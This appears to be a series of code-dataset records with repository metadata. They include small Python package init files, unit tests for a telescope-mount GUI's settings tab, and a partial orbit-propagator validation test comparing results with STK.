[ "MIT" ]
2
2020-10-02T15:41:14.000Z
2020-10-05T12:27:08.000Z
pddlenv/generators/literals/blocks/__init__.py
harshakokel/pddlenv
773421ecd5df59503153bda7b3e1a6e0dcd30262
[ "MIT" ]
2
2020-12-17T03:12:40.000Z
2020-12-18T04:28:57.000Z
pddlenv/generators/literals/blocks/__init__.py
harshakokel/pddlenv
773421ecd5df59503153bda7b3e1a6e0dcd30262
[ "MIT" ]
1
2021-06-09T15:59:23.000Z
2021-06-09T15:59:23.000Z
from pddlenv.generators.literals.blocks.clear import ClearSampler
33
65
0.878788
8
66
7.25
1
0
0
0
0
0
0
0
0
0
0
0
0.060606
66
1
66
66
0.935484
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
ad69eb6034de8fe74d1992a54693398a96a50067
59
py
Python
tools/__init__.py
Justin900429/2021-Fall-NYCU-DM-Project
dcd0c8669721736c104214e691d6c4a24e61ad1d
[ "MIT" ]
1
2021-12-27T06:28:53.000Z
2021-12-27T06:28:53.000Z
tools/__init__.py
Justin900429/Tea-Tok-Clock
dcd0c8669721736c104214e691d6c4a24e61ad1d
[ "MIT" ]
null
null
null
tools/__init__.py
Justin900429/Tea-Tok-Clock
dcd0c8669721736c104214e691d6c4a24e61ad1d
[ "MIT" ]
null
null
null
from .config import config from .clock_layout import Clock
19.666667
31
0.830508
9
59
5.333333
0.555556
0
0
0
0
0
0
0
0
0
0
0
0.135593
59
2
32
29.5
0.941176
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
a8dc66093bf1dcf8060d26b379a4fc9d7d7e5767
110
py
Python
tensorflow doodle.py
lovroselic/DeepLearning
0138204489dfc64e2a01c9e047293864eb308269
[ "MIT" ]
null
null
null
tensorflow doodle.py
lovroselic/DeepLearning
0138204489dfc64e2a01c9e047293864eb308269
[ "MIT" ]
null
null
null
tensorflow doodle.py
lovroselic/DeepLearning
0138204489dfc64e2a01c9e047293864eb308269
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Wed Mar 10 07:41:59 2021 @author: SELICLO1 """ import tensorflow as tf
15.714286
35
0.645455
18
110
3.944444
1
0
0
0
0
0
0
0
0
0
0
0.155556
0.181818
110
7
36
15.714286
0.633333
0.7
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
a8f6447f6eaf583df8f8e6da1775b0c88e20eddf
129
py
Python
pkgs/tools/yasm/src/tools/python-yasm/tests/test_bytecode.py
relokin/parsec
75d63d9bd2368913343be9037e301947ecf78f7f
[ "BSD-3-Clause" ]
2
2017-04-24T22:37:28.000Z
2020-05-26T01:57:37.000Z
pkgs/tools/yasm/src/tools/python-yasm/tests/test_bytecode.py
cota/parsec2-aarch64
cdf7da348afd231dbe067266f24dc14d22f5cebf
[ "BSD-3-Clause" ]
null
null
null
pkgs/tools/yasm/src/tools/python-yasm/tests/test_bytecode.py
cota/parsec2-aarch64
cdf7da348afd231dbe067266f24dc14d22f5cebf
[ "BSD-3-Clause" ]
4
2015-09-16T11:40:39.000Z
2019-06-10T01:08:46.000Z
# $Id: test_bytecode.py 1740 2007-01-21 22:01:34Z peter $ from tests import TestCase, add from yasm import Bytecode, Expression
25.8
57
0.767442
22
129
4.454545
0.818182
0
0
0
0
0
0
0
0
0
0
0.163636
0.147287
129
4
58
32.25
0.727273
0.426357
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
d1101fc4ac068fba97d6ea359fc832fe179de1f6
70
py
Python
kindle_comics_input/kindle_comic_lib/__init__.py
klamouri/calibre-kindle-comics
f36673dfd5f57b202b40811727bb5998087065aa
[ "0BSD" ]
24
2020-11-27T03:41:03.000Z
2022-03-22T18:39:36.000Z
kindle_comics_input/kindle_comic_lib/__init__.py
klamouri/calibre-kindle-comics
f36673dfd5f57b202b40811727bb5998087065aa
[ "0BSD" ]
12
2020-12-18T20:17:15.000Z
2022-03-23T00:18:52.000Z
kindle_comics_input/kindle_comic_lib/__init__.py
klamouri/calibre-kindle-comics
f36673dfd5f57b202b40811727bb5998087065aa
[ "0BSD" ]
2
2021-05-22T06:16:39.000Z
2021-09-03T05:49:02.000Z
#! /usr/bin/python3 from . import slugify slugify = slugify.slugify
11.666667
25
0.728571
9
70
5.666667
0.666667
0.823529
0.823529
0
0
0
0
0
0
0
0
0.016949
0.157143
70
5
26
14
0.847458
0.257143
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
5
d11175f1376f0557b2cd36e5b497e6f00618e7ce
20,203
py
Python
tests/unit_tests/gui/mainWmixin/test_tabSettMisc.py
mworion/MountWizzard4
4e06b29ec2ef70be40e114b911b7bdf2f858a4b1
[ "Apache-2.0" ]
16
2020-01-11T22:32:26.000Z
2022-03-31T15:18:14.000Z
tests/unit_tests/gui/mainWmixin/test_tabSettMisc.py
mworion/MountWizzard4
4e06b29ec2ef70be40e114b911b7bdf2f858a4b1
[ "Apache-2.0" ]
196
2020-01-16T13:56:01.000Z
2022-03-29T02:06:51.000Z
tests/unit_tests/gui/mainWmixin/test_tabSettMisc.py
mworion/MountWizzard4
4e06b29ec2ef70be40e114b911b7bdf2f858a4b1
[ "Apache-2.0" ]
6
2019-12-01T19:39:33.000Z
2021-05-27T13:14:20.000Z
############################################################ # -*- coding: utf-8 -*- # # # # # # # # # ## ## # ## # # # # # # # # # # # # # # # ## # ## ## ###### # # # # # # # # # Python-based Tool for interaction with the 10micron mounts # GUI with PyQT5 for python # # written in python3, (c) 2019-2021 by mworion # # Licence APL2.0 # ########################################################### # standard libraries import pytest from unittest import mock import logging import subprocess import platform import os # external packages from PyQt5.QtMultimedia import QSound import requests import importlib_metadata # local import from gui.mainWmixin.tabSettMisc import SettMisc from tests.unit_tests.unitTestAddOns.baseTestSetupMixins import App from gui.widgets.main_ui import Ui_MainWindow from gui.utilities.toolsQtWidget import MWidget from base.loggerMW import setupLogging setupLogging() @pytest.fixture(autouse=True, scope='module') def module(qapp): yield @pytest.fixture(autouse=True, scope='function') def function(module): class Mixin(MWidget, SettMisc): def __init__(self): super().__init__() self.app = App() self.deviceStat = self.app.deviceStat self.threadPool = self.app.threadPool self.ui = Ui_MainWindow() self.ui.setupUi(self) SettMisc.__init__(self) window = Mixin() yield window def test_initConfig_1(function): function.app.config['mainW'] = {} suc = function.initConfig() assert suc def test_initConfig_2(function): suc = function.initConfig() assert suc def test_storeConfig_1(function): suc = function.storeConfig() assert suc def test_setWeatherOnline_1(function): function.app.onlineWeather = None suc = function.setWeatherOnline() assert not suc def test_setWeatherOnline_2(function): suc = function.setWeatherOnline() assert suc def test_setupIERS_1(function): function.ui.isOnline.setChecked(False) suc = function.setupIERS() assert suc def test_setupIERS_2(function): function.ui.isOnline.setChecked(True) suc = function.setupIERS() assert suc def test_versionPackage_1(function): class Test: status_code = 300 @staticmethod def json(): return {'releases': {}} with mock.patch.object(requests, 'get', return_value=Test(), side_effect=Exception()): val = function.versionPackage('matplotlib') assert val[0] is None assert val[1] is None def test_versionPackage_2(function): class Test: status_code = 200 @staticmethod def json(): return {'releases': {'1.0.0': [{'comment_text': 'test'}], '1.0.0b1': [{'comment_text': 'test'}]}} function.ui.versionBeta.setChecked(False) with mock.patch.object(requests, 'get', return_value=Test()): pack, comm, ver = function.versionPackage('matplotlib') assert pack == '1.0.0' assert comm == 'test' assert ver == ['1.0.0', '1.0.0b1'] def test_versionPackage_3(function): class Test: status_code = 200 @staticmethod def json(): return {'releases': {'1.0.0': [{'comment_text': 'test'}], '1.0.0b1': [{'comment_text': 'test'}]}} function.ui.versionBeta.setChecked(True) with mock.patch.object(requests, 'get', return_value=Test()): pack, comm, _ = function.versionPackage('matplotlib') assert pack == '1.0.0b1' assert comm == 'test' def test_showUpdates_1(function): with mock.patch.object(importlib_metadata, 'version', return_value='0.148.8'): suc = function.showUpdates() assert not suc def test_showUpdates_2(function): function.ui.isOnline.setChecked(True) with mock.patch.object(importlib_metadata, 'version', return_value='0.148.8'): with mock.patch.object(function, 'versionPackage', return_value=(None, None, [])): suc = function.showUpdates() assert not suc def test_showUpdates_3(function): function.ui.isOnline.setChecked(True) with mock.patch.object(importlib_metadata, 'version', return_value='0.148.10'): with mock.patch.object(function, 'versionPackage', return_value=('0.148.9', 'test', ['1.2.3'])): suc = function.showUpdates() assert suc def test_showUpdates_4(function): function.ui.isOnline.setChecked(True) with mock.patch.object(importlib_metadata, 'version', return_value='0.148.8'): with mock.patch.object(function, 'versionPackage', return_value=('0.148.9', 'test', ['1.2.3'])): suc = function.showUpdates() assert suc def test_showUpdates_5(function): function.ui.isOnline.setChecked(True) function.ui.versionReleaseNotes.setChecked(True) with mock.patch.object(importlib_metadata, 'version', return_value='0.148.8'): with mock.patch.object(function, 'versionPackage', return_value=('0.148.9', '', ['1.2.3'])): suc = function.showUpdates() assert suc def test_showUpdates_6(function): function.ui.isOnline.setChecked(True) function.ui.versionReleaseNotes.setChecked(True) with mock.patch.object(importlib_metadata, 'version', return_value='0.148.8'): with mock.patch.object(function, 'versionPackage', return_value=('0.148.9', 'test', ['1.2.3'])): suc = function.showUpdates() assert suc def test_isVenv_1(function): function.isVenv() def test_startUpdater_1(function): with mock.patch.object(platform, 'system', return_value='Windows'): with mock.patch.object(os, 'execl'): with mock.patch.object(function, 'checkUpdateVersion', return_value=None): suc = function.startUpdater('1.2.3') assert not suc def test_checkUpdateVersion_1(function): class Test: @staticmethod def json(): return {'info': {'keywords': '5.15.4'}} with mock.patch.object(requests, 'get', return_value=Test(), side_effect=Exception): suc = function.checkUpdateVersion('1.2.3') assert suc is None def test_checkUpdateVersion_2(function): class Test: @staticmethod def json(): return {'info': {'keywords': '5.15.4'}} with mock.patch.object(requests, 'get', return_value=Test()): with mock.patch.object(importlib_metadata, 'version', return_value='5.15.4'): suc = function.checkUpdateVersion('1.2.3') assert suc def test_checkUpdateVersion_3(function): class Test: @staticmethod def json(): return {'info': {'keywords': '5.15.4'}} with mock.patch.object(requests, 'get', return_value=Test()): with mock.patch.object(importlib_metadata, 'version', return_value='5.14.4'): suc = function.checkUpdateVersion('1.2.3') assert not suc def test_startUpdater_2(function): with mock.patch.object(platform, 'system', return_value='Darwin'): with mock.patch.object(os, 'execl'): with mock.patch.object(function, 'checkUpdateVersion', return_value=True): suc = function.startUpdater('1.2.3') assert suc def test_startUpdater_3(function): with mock.patch.object(platform, 'system', return_value='Darwin'): with mock.patch.object(os, 'execl'): with mock.patch.object(function, 'checkUpdateVersion', return_value=False): suc = function.startUpdater('1.2.3') assert suc def test_installVersion_1(function): with mock.patch.object(function, 'isVenv', return_value=False): suc = function.installVersion() assert not suc def test_installVersion_2(function): function.ui.versionAvailable.setText('2.1.1') with mock.patch.object(function, 'isVenv', return_value=True): with mock.patch.object(function, 'versionPackage', return_value=(None, None, ['1.2.3'])): suc = function.installVersion() assert not suc def test_installVersion_3(function): function.ui.versionAvailable.setText('1.2.3') with mock.patch.object(function, 'isVenv', return_value=True): with mock.patch.object(function, 'versionPackage', return_value=(None, None, ['1.2.3'])): with mock.patch.object(function, 'startUpdater'): suc = function.installVersion() assert suc def test_setLoggingLevel1(function, qtbot): function.ui.loglevelDebug.setChecked(True) function.setLoggingLevel() val = logging.getLogger().getEffectiveLevel() assert val == 10 def test_setLoggingLevel2(function, qtbot): function.ui.loglevelStandard.setChecked(True) function.setLoggingLevel() val = logging.getLogger().getEffectiveLevel() assert val == 20 def test_setLoggingLevel3(function, qtbot): function.ui.loglevelTrace.setChecked(True) function.setLoggingLevel() val = logging.getLogger().getEffectiveLevel() assert val == 5 def test_playAudioDomeSlewFinished_1(function): with mock.patch.object(QSound, 'play'): suc = function.playSound('DomeSlew') assert not suc def test_playAudioMountSlewFinished_1(function): with mock.patch.object(QSound, 'play'): suc = function.playSound('MountSlew') assert not suc def test_playAudioMountAlert_1(function): with mock.patch.object(QSound, 'play'): suc = function.playSound('MountAlert') assert not suc def test_playAudioModelFinished_1(function): with mock.patch.object(QSound, 'play'): suc = function.playSound('ModelFinished') assert not suc def test_setupAudioSignals_1(function): suc = function.setupAudioSignals() assert suc def test_playSound_1(function): suc = function.playSound() assert not suc def test_playSound_2(function): function.audioSignalsSet['Pan1'] = 'test' function.guiAudioList['MountSlew'] = function.ui.soundMountSlewFinished function.guiAudioList['MountSlew'].addItem('Pan1') with mock.patch.object(QSound, 'play'): suc = function.playSound('MountSlew') assert suc def test_playSound_3(function): function.audioSignalsSet['Pan1'] = 'test' function.guiAudioList['MountSlew'] = function.ui.soundMountSlewFinished function.guiAudioList['MountSlew'].addItem('Pan5') with mock.patch.object(QSound, 'play'): suc = function.playSound('MountSlew') assert not suc def test_pushTime_1a(function): class Test1: @staticmethod def decode(): return 'decode' @staticmethod def replace(a, b): return a + b class Test: returncode = 0 stderr = Test1() stdout = Test1() @staticmethod def communicate(timeout=0): return Test1(), Test1() with mock.patch.object(subprocess, 'Popen', return_value=Test()): with mock.patch.object(platform, 'system', return_value='Windows'): suc = function.pushTime() assert suc def test_pushTime_1b(function): class Test1: @staticmethod def decode(): return 'decode' @staticmethod def replace(a, b): return a + b class Test: returncode = 0 stderr = Test1() stdout = Test1() @staticmethod def communicate(timeout=0): return Test1(), Test1() with mock.patch.object(subprocess, 'Popen', return_value=Test()): with mock.patch.object(platform, 'system', return_value='Linux'): suc = function.pushTime() assert suc def test_pushTime_1c(function): class Test1: @staticmethod def decode(): return 'decode' @staticmethod def replace(a, b): return a + b class Test: returncode = 0 stderr = Test1() stdout = Test1() @staticmethod def communicate(timeout=0): return Test1(), Test1() with mock.patch.object(subprocess, 'Popen', return_value=Test()): with mock.patch.object(platform, 'system', return_value='Darwin'): suc = function.pushTime() assert suc def test_pushTime_1d(function): class Test1: @staticmethod def decode(): return 'decode' @staticmethod def replace(a, b): return a + b class Test: returncode = 0 stderr = Test1() stdout = Test1() @staticmethod def communicate(timeout=0): return Test1(), Test1() with mock.patch.object(subprocess, 'Popen', return_value=Test()): with mock.patch.object(platform, 'system', return_value='xxx'): suc = function.pushTime() assert suc def test_pushTime_2(function): class Test1: @staticmethod def decode(): return 'decode' @staticmethod def replace(a, b): return a + b class Test: returncode = '1' stderr = Test1() stdout = Test1() @staticmethod def communicate(timeout=0): return Test1(), Test1() with mock.patch.object(subprocess, 'Popen', return_value=Test(), side_effect=Exception()): suc = function.pushTime() assert not suc def test_pushTime_3(function): class Test1: @staticmethod def decode(): return 'decode' @staticmethod def replace(a, b): return a + b class Test: returncode = '1' stderr = Test1() stdout = Test1() @staticmethod def communicate(timeout=0): return Test1(), Test1() with mock.patch.object(subprocess, 'Popen', return_value=Test(), side_effect=subprocess.TimeoutExpired('res', 2)): suc = function.pushTime() assert not suc def test_pushTime_4(function): class Test1: @staticmethod def decode(): return 'decode' @staticmethod def replace(a, b): return a + b class Test: returncode = 1 stderr = Test1() stdout = Test1() @staticmethod def communicate(timeout=0): return Test1(), Test1() with mock.patch.object(subprocess, 'Popen', return_value=Test()): suc = function.pushTime() assert not suc def test_pushTime_5(function): a = function.app.mount.obsSite.timeJD function.app.mount.obsSite.timeJD = None suc = function.pushTime() assert not suc function.app.mount.obsSite.timeJD = a def test_pushTimeHourly_1(function): function.ui.autoPushTime.setChecked(False) suc = function.pushTimeHourly() assert not suc def test_pushTimeHourly_2(function): function.ui.autoPushTime.setChecked(True) suc = function.pushTimeHourly() assert suc def test_toggleClockSync_1(function): function.ui.clockSync.setChecked(True) suc = function.toggleClockSync() assert suc def test_toggleClockSync_2(function): function.ui.clockSync.setChecked(False) suc = function.toggleClockSync() assert suc def test_syncClock_1(function): function.ui.syncTimePC2Mount.setChecked(False) suc = function.syncClock() assert not suc def test_syncClock_2(function): function.ui.syncTimePC2Mount.setChecked(True) function.app.deviceStat['mount'] = False suc = function.syncClock() assert not suc def test_syncClock_3(function): function.ui.syncTimePC2Mount.setChecked(True) function.ui.syncNotTracking.setChecked(True) function.app.deviceStat['mount'] = True function.app.mount.obsSite.status = 0 suc = function.syncClock() assert not suc @mock.patch('tests.unit_tests.unitTestAddOns.baseTestSetupMixins.App.mount.obsSite.timeDiff', 0.005) def test_syncClock_4(function): function.ui.syncTimePC2Mount.setChecked(True) function.ui.syncNotTracking.setChecked(False) function.app.deviceStat['mount'] = True function.app.mount.obsSite.status = 1 suc = function.syncClock() assert not suc @mock.patch('tests.unit_tests.unitTestAddOns.baseTestSetupMixins.App.mount.obsSite.timeDiff', 1) def test_syncClock_5(function): function.ui.syncTimePC2Mount.setChecked(True) function.ui.syncNotTracking.setChecked(False) function.app.deviceStat['mount'] = True function.app.mount.obsSite.status = 1 with mock.patch.object(function.app.mount.obsSite, 'adjustClock', return_value=False): suc = function.syncClock() assert not suc @mock.patch('tests.unit_tests.unitTestAddOns.baseTestSetupMixins.App.mount.obsSite.timeDiff', -1) def test_syncClock_6(function): function.ui.syncTimePC2Mount.setChecked(True) function.ui.syncNotTracking.setChecked(False) function.app.deviceStat['mount'] = True function.app.mount.obsSite.status = 1 with mock.patch.object(function.app.mount.obsSite, 'adjustClock', return_value=True): suc = function.syncClock() assert suc def test_setVirtualStop(function): suc = function.setVirtualStop() assert suc
28.177127
100
0.548829
1,923
20,203
5.666667
0.108684
0.035973
0.063228
0.092411
0.803799
0.727173
0.719372
0.677985
0.640176
0.600716
0
0.022462
0.343315
20,203
716
101
28.21648
0.7989
0.015443
0
0.726766
0
0
0.064441
0.011873
0
0
0
0
0.109665
1
0.159851
false
0
0.040892
0.050186
0.334572
0
0
0
0
null
0
0
0
1
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
d11a24a8614b8eb8e812aa59a63c5c549dfd644a
461
py
Python
autoware_vector_map/scripts/autoware_vector_map/autoware_vector_map/create_features/__init__.py
kenji-miyake/draft-of-autoware-vector-map
8fb307a07df2f0ce318beb5ebc2078e941a561c4
[ "Apache-2.0" ]
8
2020-01-07T01:21:14.000Z
2022-01-13T06:09:44.000Z
autoware_vector_map/scripts/autoware_vector_map/autoware_vector_map/create_features/__init__.py
kenji-miyake/draft-of-autoware-vector-map
8fb307a07df2f0ce318beb5ebc2078e941a561c4
[ "Apache-2.0" ]
1
2020-12-23T09:57:26.000Z
2020-12-23T13:25:47.000Z
autoware_vector_map/scripts/autoware_vector_map/autoware_vector_map/create_features/__init__.py
kenji-miyake/draft-of-autoware-vector-map
8fb307a07df2f0ce318beb5ebc2078e941a561c4
[ "Apache-2.0" ]
3
2020-07-08T00:40:40.000Z
2021-03-23T07:15:52.000Z
from .create_adjacent_lanes import create_adjacent_lanes from .create_intersect_relationships import create_intersect_relationships from .create_lane_connections import create_lane_connections from .create_lane_section_connections import create_lane_section_connections from .create_lane_sections import create_lane_sections from .create_lane_boundaries import create_lane_boundaries from .create_adjacent_lane_boundaries import create_adjacent_lane_boundaries
57.625
76
0.924078
60
461
6.566667
0.2
0.203046
0.142132
0.137056
0
0
0
0
0
0
0
0
0.060738
461
7
77
65.857143
0.909931
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
d143f9c032b5d3b9da9cec825eb75a72fb9a9f1a
14,455
py
Python
tests/validation/test_propagator_J2AnalyticalPropagator_with_STK.py
EarthObservationSimulator/orbits
b476762532f8644b9fe0723760b5202ab77a4547
[ "Apache-2.0" ]
4
2021-12-23T16:49:06.000Z
2022-02-09T21:36:31.000Z
tests/validation/test_propagator_J2AnalyticalPropagator_with_STK.py
EarthObservationSimulator/orbits
b476762532f8644b9fe0723760b5202ab77a4547
[ "Apache-2.0" ]
15
2022-01-14T17:28:14.000Z
2022-02-11T02:39:25.000Z
tests/validation/test_propagator_J2AnalyticalPropagator_with_STK.py
EarthObservationSimulator/orbits
b476762532f8644b9fe0723760b5202ab77a4547
[ "Apache-2.0" ]
1
2022-02-03T15:44:16.000Z
2022-02-03T15:44:16.000Z
""" *Unit tests for :class:`orbitpy.propagate.J2AnalyticalPropagator` covering checks on orbit state data when compared to STK output.* :code:`/temp/` folder contains temporary files produced during the run of the tests below. Expected output: running test_run_1 Max Difference: 4.69315597729782 .running test_run_2 Max Difference: 4.689415839943152 .running test_run_3 Max Difference: 3.815186670455347 .running test_run_4 Max Difference: 3.3283995083671414 .running test_run_5 Max Difference: 4.187096058800876 .running test_run_6 Max Difference: 1.4851594443143767e-06 .running test_run_7 Max Difference: 0.009143580793676165 .running test_run_8 Max Difference: 0.009159691231587885 . """ import unittest import numpy as np import os, shutil import copy from orbitpy.propagator import PropagatorFactory, J2AnalyticalPropagator import orbitpy.propagator from orbitpy.util import OrbitState, Spacecraft class TestPropagation(unittest.TestCase): @classmethod def setUpClass(cls): """Set up test directories and default propagation coverage parameters for all tests.""" # Create new directory to store output of all the class functions. dir_path = os.path.dirname(os.path.realpath(__file__)) out_dir = os.path.join(dir_path, 'temp') if os.path.exists(out_dir): shutil.rmtree(out_dir) os.makedirs(out_dir) out_dir2 = os.path.join(dir_path,'temp/test_propagation_with_STK') if os.path.exists(out_dir2): shutil.rmtree(out_dir2) os.makedirs(out_dir2) # store directory path cls.dir_path = dir_path factory = PropagatorFactory() step_size = 1 specs = {"@type": 'J2 ANALYTICAL PROPAGATOR', 'stepSize': step_size } cls.j2_prop = factory.get_propagator(specs) cls.duration=1 # circular orbit cls.default_orbit_dict = {"date":{"@type":"GREGORIAN_UTC", "year":2018, "month":5, "day":26, "hour":12, "minute":0, "second":0}, "state":{"@type": "KEPLERIAN_EARTH_CENTERED_INERTIAL", "sma": 7000, "ecc": 0, "inc": 0, "raan": 0, "aop": 0, "ta": 0} } @staticmethod def orbitpyStateArray(sat_state_fl): """Read OrbitPy text output into a numpy array""" data = np.genfromtxt(sat_state_fl, delimiter=",",skip_header = 5) # 5th row header, 6th row onwards contains the data return data @staticmethod def stkStateArray(sat_state_fl): """Read STK text output into a numpy array""" data = np.genfromtxt(sat_state_fl, skip_header = 6) return data @staticmethod def printMaxDiff(stk,gmat): """Print absolute value of the maximum difference in the states passed.""" diff = np.absolute(stk - gmat) result = np.max(diff) print("Max Difference: ") print(str(result)) def test_run_1(self): """Test propagation of 7000 SMA orbit with all other kepler states = 0.""" print('running test_run_1') # Prepare the output directory out_dir = os.path.join(self.dir_path,'temp/test_propagation_with_STK/01/') if os.path.exists(out_dir): shutil.rmtree(out_dir) os.makedirs(out_dir) # run the propagator orbit = OrbitState.from_dict(self.default_orbit_dict) spacecraft = Spacecraft(orbitState=orbit) out_file_cart = self.dir_path+"/temp/test_propagation_with_STK/01/state" self.j2_prop.execute(spacecraft, None, out_file_cart, None, self.duration) stk_sat_state_fl = self.dir_path + "/STK/test_propagation_with_STK/01/states.txt" # read in state data to numpy array orbitpyData = TestPropagation.orbitpyStateArray(out_file_cart) stkData = TestPropagation.stkStateArray(stk_sat_state_fl) result = np.allclose(orbitpyData,stkData,atol=6) #Print Result TestPropagation.printMaxDiff(stkData,orbitpyData) self.assertEqual(True,result) def test_run_2(self): """Test all states = 1, except for size and eccentricity.""" print('running test_run_2') # Prepare the output directory out_dir = os.path.join(self.dir_path,'temp/test_propagation_with_STK/02/') if os.path.exists(out_dir): shutil.rmtree(out_dir) os.makedirs(out_dir) # set orbit orbit_dict = copy.deepcopy(self.default_orbit_dict) orbit_dict['state']['raan'] = 1 orbit_dict['state']['inc'] = 1 orbit_dict['state']['aop'] = 1 orbit_dict['state']['ta'] = 1 orbit = OrbitState.from_dict(orbit_dict) # execute spacecraft = Spacecraft(orbitState=orbit) out_file_cart = self.dir_path+"/temp/test_propagation_with_STK/02/state" self.j2_prop.execute(spacecraft, None, out_file_cart, None, self.duration) # Read in state data to numpy array stk_sat_state_fl = self.dir_path + "/STK/test_propagation_with_STK/02/states.txt" orbitpyData = TestPropagation.orbitpyStateArray(out_file_cart) stkData = TestPropagation.stkStateArray(stk_sat_state_fl) result = np.allclose(orbitpyData,stkData,atol=6) #Print Result TestPropagation.printMaxDiff(stkData,orbitpyData) self.assertEqual(True,result) def test_run_3(self): """Test middle values for all states, except for size and eccentricity.""" print('running test_run_3') # Prepare the output directory out_dir = os.path.join(self.dir_path,'temp/test_propagation_with_STK/03/') if os.path.exists(out_dir): shutil.rmtree(out_dir) os.makedirs(out_dir) # set orbit orbit_dict = copy.deepcopy(self.default_orbit_dict) orbit_dict['state']['raan'] = 180 orbit_dict['state']['inc'] = 90 orbit_dict['state']['aop'] = 180 orbit_dict['state']['ta'] = 180 orbit = OrbitState.from_dict(orbit_dict) # execute spacecraft = Spacecraft(orbitState=orbit) out_file_cart = self.dir_path+"/temp/test_propagation_with_STK/03/state" self.j2_prop.execute(spacecraft, None, out_file_cart, None, self.duration) # Read in state data to numpy array stk_sat_state_fl = self.dir_path + "/STK/test_propagation_with_STK/03/states.txt" orbitpyData = TestPropagation.orbitpyStateArray(out_file_cart) stkData = TestPropagation.stkStateArray(stk_sat_state_fl) result = np.allclose(orbitpyData,stkData,atol=6) #Print Result TestPropagation.printMaxDiff(stkData,orbitpyData) self.assertEqual(True,result) def test_run_4(self): """Test decimal values for all states, except for eccentricity""" print('running test_run_4') # Prepare the output directory out_dir = os.path.join(self.dir_path,'temp/test_propagation_with_STK/04/') if os.path.exists(out_dir): shutil.rmtree(out_dir) os.makedirs(out_dir) # set orbit orbit_dict = copy.deepcopy(self.default_orbit_dict) orbit_dict['state']['sma'] = 7578.378 orbit_dict['state']['raan'] = 98.8797 orbit_dict['state']['inc'] = 45.7865 orbit_dict['state']['aop'] = 75.78089 orbit_dict['state']['ta'] = 277.789 orbit = OrbitState.from_dict(orbit_dict) # execute spacecraft = Spacecraft(orbitState=orbit) out_file_cart = self.dir_path+"/temp/test_propagation_with_STK/04/state" self.j2_prop.execute(spacecraft, None, out_file_cart, None, self.duration) # Read in state data to numpy array stk_sat_state_fl = self.dir_path + "/STK/test_propagation_with_STK/04/states.txt" orbitpyData = TestPropagation.orbitpyStateArray(out_file_cart) stkData = TestPropagation.stkStateArray(stk_sat_state_fl) result = np.allclose(orbitpyData,stkData,atol=6) #Print Result TestPropagation.printMaxDiff(stkData,orbitpyData) self.assertEqual(True,result) def test_run_5(self): """Test a retrograde orbit.""" print('running test_run_5') # Prepare the output directory out_dir = os.path.join(self.dir_path,'temp/test_propagation_with_STK/05/') if os.path.exists(out_dir): shutil.rmtree(out_dir) os.makedirs(out_dir) # set orbit orbit_dict = copy.deepcopy(self.default_orbit_dict) orbit_dict['state']['sma'] = 7578.378 orbit_dict['state']['raan'] = 98.8797 orbit_dict['state']['inc'] = 180 orbit_dict['state']['aop'] = 75.78089 orbit_dict['state']['ta'] = 277.789 orbit = OrbitState.from_dict(orbit_dict) # execute spacecraft = Spacecraft(orbitState=orbit) out_file_cart = self.dir_path+"/temp/test_propagation_with_STK/05/state" self.j2_prop.execute(spacecraft, None, out_file_cart, None, self.duration) # Read in state data to numpy array stk_sat_state_fl = self.dir_path + "/STK/test_propagation_with_STK/05/states.txt" orbitpyData = TestPropagation.orbitpyStateArray(out_file_cart) stkData = TestPropagation.stkStateArray(stk_sat_state_fl) result = np.allclose(orbitpyData,stkData,atol=6) #Print Result TestPropagation.printMaxDiff(stkData,orbitpyData) self.assertEqual(True,result) def test_run_6(self): """Test a polar orbit to verify RAAN doesn't move.""" print('running test_run_6') # Prepare the output directory out_dir = os.path.join(self.dir_path,'temp/test_propagation_with_STK/06/') if os.path.exists(out_dir): shutil.rmtree(out_dir) os.makedirs(out_dir) # set orbit orbit_dict = copy.deepcopy(self.default_orbit_dict) orbit_dict['state']['sma'] = 7000 orbit_dict['state']['raan'] = 98.8797 orbit_dict['state']['inc'] = 90 orbit_dict['state']['aop'] = 75.78089 orbit_dict['state']['ta'] = 277.789 orbit = OrbitState.from_dict(orbit_dict) # execute spacecraft = Spacecraft(orbitState=orbit) out_file_kep = self.dir_path+"/temp/test_propagation_with_STK/06/state" self.j2_prop.execute(spacecraft, None, None, out_file_kep, self.duration) stk_sat_state_fl = self.dir_path + "/STK/test_propagation_with_STK/06/kepler_states.txt" # read in state data to numpy array orbitpyData = TestPropagation.orbitpyStateArray(out_file_kep) stkData = TestPropagation.stkStateArray(stk_sat_state_fl) pyRAAN = orbitpyData[:,4] stkRAAN = stkData[:,4] result = np.allclose(pyRAAN,stkRAAN,atol=.015) #Print Result TestPropagation.printMaxDiff(pyRAAN,stkRAAN) self.assertEqual(True,result) def test_run_7(self): """Test RAAN regression of low inclination prograde orbit.""" print('running test_run_7') # Prepare the output directory out_dir = os.path.join(self.dir_path,'temp/test_propagation_with_STK/07/') if os.path.exists(out_dir): shutil.rmtree(out_dir) os.makedirs(out_dir) # set orbit orbit_dict = copy.deepcopy(self.default_orbit_dict) orbit_dict['state']['sma'] = 7000 